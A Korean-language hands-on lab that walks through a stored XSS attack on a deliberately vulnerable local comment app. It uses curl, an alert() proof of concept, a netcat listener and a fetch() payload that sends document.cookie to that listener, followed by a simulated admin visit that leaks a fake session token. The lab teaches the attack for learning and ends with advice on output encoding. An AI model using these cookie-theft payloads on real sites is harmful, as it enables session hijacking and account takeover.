소개
저장형 크로스 사이트 스크립팅 (Stored XSS) 은 웹 애플리케이션이 사용자로부터 입력을 받아 데이터베이스 (댓글 섹션, 게시판 글, 사용자 프로필 등) 에 저장한 뒤, 적절한 살균 (Sanitization) 과정 없이 웹 페이지에 해당 입력을 포함할 때 발생하는 매우 위험한 웹 취약점입니다.
피해자가 특정하게 조작된 링크를 클릭해야 하는 반사형 XSS(Reflected XSS) 와 달리, 저장형 XSS 는 지속성을 가집니다. 악성 페이로드가 데이터베이스에 주입되면, 감염된 페이지를 방문하는 모든 사용자의 브라우저에서 자동으로 실행됩니다. 이는 공격자가 세션 쿠키를 탈취하거나, 사용자를 리디렉션하거나, 피해자를 대신하여 승인되지 않은 작업을 수행하게 만드는 강력한 도구가 됩니다.
이러한 지속성 때문에 저장형 XSS 는 특히 위험합니다. 공격자는 주입을 한 번만 수행하면 되지만, 애플리케이션 자체가 이후 방문자들에게 계속해서 페이로드를 재전송하기 때문입니다.
이 실습에서는 취약한 로컬 웹 애플리케이션과 상호작용하게 됩니다. 사용자 입력이 어디에 저장되는지 식별하고, 지속적인 자바스크립트 페이로드를 주입하며, 관리자가 주입된 댓글을 볼 때 세션 쿠키가 탈취되는 시나리오를 시뮬레이션해 봅니다.
입력 저장 위치 식별 (댓글/프로필)
이 단계에서는 로컬에서 실행 중인 취약한 웹 애플리케이션과 상호작용합니다. 이 애플리케이션은 사용자가 메시지를 게시할 수 있는 간단한 댓글 기능을 제공합니다.
저장형 XSS 취약점을 공격하려면 먼저 애플리케이션이 사용자 입력을 어디서 받는지, 그리고 그 입력이 어디에 표시되는지 식별해야 합니다. 웹 서버와 상호작용하기 위해 curl 명령줄 도구를 사용하겠습니다.
저장형 XSS 의 수명 주기를 한 문장으로 요약하면 다음과 같습니다: 입력이 애플리케이션으로 들어와 저장되고, 나중에 다른 사용자의 브라우저에서 렌더링됩니다.
먼저 메인 페이지에 GET 요청을 보내 애플리케이션의 현재 상태를 확인해 보겠습니다. 터미널에서 다음 명령을 실행하세요:
curl http://localhost:5000/
HTML 출력에서 비어 있는 댓글 목록을 확인할 수 있습니다:
<h1>Comments</h1><ul></ul>
이제 일반적인 댓글을 제출하여 애플리케이션이 입력을 어떻게 처리하고 저장하는지 확인해 보겠습니다. curl의 -X POST 플래그를 사용하여 /post 엔드포인트로 데이터를 전송합니다. 다음 명령을 실행하세요:
curl -X POST -d "comment=Hello World" http://localhost:5000/post
서버는 Comment added!라는 응답을 보낼 것입니다.
입력이 데이터베이스에 영구적으로 저장되었고 웹 페이지에 반영되고 있는지 확인하려면, 메인 페이지를 다시 불러옵니다:
curl http://localhost:5000/
이제 댓글이 HTML 구조에 직접 포함된 것을 볼 수 있습니다:
<h1>Comments</h1><ul><li>Hello World</li></ul>
애플리케이션이 필터링이나 살균 과정 없이 입력을 받아 HTML 에 직접 배치하므로, 저장형 XSS 에 취약할 가능성이 매우 높습니다.
지속적 페이로드 주입
이제 애플리케이션이 입력을 저장하고 반영한다는 사실을 확인했으므로, 지속적인 자바스크립트 페이로드를 주입해 보겠습니다.
이 시점에서 데이터베이스는 공격 전달 메커니즘이 됩니다. 페이로드는 더 이상 저장소에 있는 단순한 텍스트가 아니라, 렌더링을 기다리는 미래의 스크립트 콘텐츠입니다.
실제 상황에서 공격자가 취약한 댓글 섹션에 <script> 태그를 주입하면, 서버는 해당 태그를 데이터베이스에 저장합니다. 관리자를 포함한 모든 사용자가 댓글 페이지를 방문할 때마다, 브라우저는 HTML 을 다운로드하고 <script> 태그를 발견하여 공격자의 코드를 실행하게 됩니다.
브라우저 알림창을 띄우는 고전적인 XSS 개념 증명 (PoC) 페이로드를 주입해 보겠습니다. 다음 명령을 실행하여 악성 댓글을 게시하세요:
curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post
서버가 댓글 추가를 확인하면, 메인 페이지를 다시 불러와 HTML 소스 코드를 검사합니다:
curl http://localhost:5000/
출력을 자세히 살펴보세요:
<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>
<script>alert('XSS')</script> 페이로드가 우리가 입력한 그대로 렌더링된 것을 볼 수 있습니다. 애플리케이션은 꺾쇠 괄호 (< 및 >) 를 안전한 HTML 엔티티 (예: < 및 >) 로 인코딩하지 않았습니다.
실제 사용자가 Chrome 이나 Firefox 같은 웹 브라우저에서 이 페이지를 열면, 브라우저는 주입된 텍스트를 댓글이 아닌 실행 가능한 자바스크립트로 해석하며, 즉시 "XSS"라고 적힌 알림창이 화면에 나타날 것입니다.
세션 쿠키 탈취 (시뮬레이션)
알림창을 띄우는 것은 취약점이 존재함을 증명하지만, 실제 공격자는 세션 쿠키 탈취와 같은 악의적인 목적으로 XSS 를 사용합니다. 공격자가 관리자의 세션 쿠키를 탈취하면, 관리자 계정을 하이재킹하여 웹 애플리케이션을 완전히 제어할 수 있습니다.
쿠키를 탈취하기 위해 공격자는 피해자의 document.cookie를 읽어 공격자가 제어하는 서버로 전송하는 자바스크립트를 주입합니다.
먼저 탈취된 쿠키를 수신할 "리스너"를 설정해야 합니다. nc(netcat) 유틸리티를 사용하여 8000 번 포트에서 대기하고, 들어오는 모든 HTTP 요청을 stolen_cookie.txt라는 파일에 저장하겠습니다. 끝에 붙은 &는 이 명령을 백그라운드에서 실행하여 터미널을 계속 사용할 수 있게 합니다.
nc -l -p 8000 > stolen_cookie.txt &
다음으로, 취약한 애플리케이션에 악성 페이로드를 주입합니다. 이 페이로드는 자바스크립트 fetch() API 를 사용하여 피해자의 쿠키를 URL 에 추가한 뒤, 우리의 netcat 리스너로 HTTP 요청을 조용히 보냅니다.
다음 명령을 실행하여 쿠키 탈취 페이로드를 주입하세요:
curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post
이제 페이로드가 데이터베이스에 영구적으로 저장되었습니다. 피해자가 페이지를 방문하기만을 기다리고 있는 상태입니다.
피해자 상호작용 시뮬레이션
실제 공격에서는 공격자가 사용자가 감염된 웹사이트를 방문하기를 기다리기만 하면 됩니다. 그래픽 웹 브라우저가 없는 터미널 환경에서 작업 중이므로, 관리자가 페이지를 방문하는 상황을 시뮬레이션하는 파이썬 스크립트를 제공했습니다.
이 스크립트는 웹 브라우저처럼 작동합니다. 데이터베이스에서 댓글을 읽고, 주입한 <script> 태그를 감지한 뒤, 시뮬레이션된 관리자 쿠키를 전달하며 netcat 리스너로 HTTP 요청을 보내어 스크립트를 "실행"합니다.
다음 명령을 사용하여 시뮬레이션 스크립트를 실행하세요:
python3 simulate_victim.py
시뮬레이션된 관리자가 페이지를 방문했고 주입된 스크립트가 실행되었음을 나타내는 출력이 보일 것입니다:
Admin victim is visiting the page...
[Browser Simulator] Executing injected script...
시뮬레이션된 브라우저가 페이로드를 실행했을 때, 이전 단계에서 시작한 netcat 리스너로 HTTP 요청을 보냈습니다. Netcat 은 이 요청을 캡처하여 stolen_cookie.txt에 저장했습니다.
파일 내용을 검사하여 관리자의 세션 쿠키를 성공적으로 탈취했는지 확인해 봅시다:
cat stolen_cookie.txt
Netcat 이 캡처한 원시 HTTP GET 요청을 볼 수 있으며, URL 경로에 탈취된 쿠키가 포함되어 있습니다:
GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
축하합니다! 저장형 XSS 취약점을 성공적으로 공격하여 시뮬레이션된 사용자 세션을 하이재킹했습니다. 이 admin_session 토큰을 사용하면 공격자는 자신의 브라우저 쿠키를 수정하여 웹 애플리케이션에서 관리자를 사칭할 수 있습니다.
요약
이 실습에서 여러분은 저장형 크로스 사이트 스크립팅 (XSS) 취약점을 성공적으로 탐색하고 공격했습니다. 데이터를 영구적으로 저장하고 적절한 HTML 살균 없이 반영하는 입력 필드를 식별하는 방법을 배웠습니다. 이어서 기본적인 자바스크립트 페이로드를 주입하여 취약점의 존재를 확인했습니다. 그 후, 세션 쿠키와 같은 민감한 데이터를 외부 리스너로 유출하도록 설계된 악성 페이로드를 작성했습니다. 마지막으로, 관리자가 감염된 페이지를 보기만 해도 세션이 손상되는 시나리오를 시뮬레이션하여 저장형 XSS 의 심각한 영향을 이해했습니다.
저장형 XSS 는 페이로드가 심어지면 별도의 사회 공학적 기법이 필요하지 않고 애플리케이션 자체가 사용자에게 공격을 전달하기 때문에 매우 치명적인 보안 결함입니다. 이러한 취약점을 방지하기 위해 개발자는 사용자 제공 데이터를 웹 브라우저에 렌더링하기 전에 항상 엄격한 입력 검증과 문맥에 맞는 출력 인코딩 (예: <를 <로 변환) 을 구현해야 합니다.



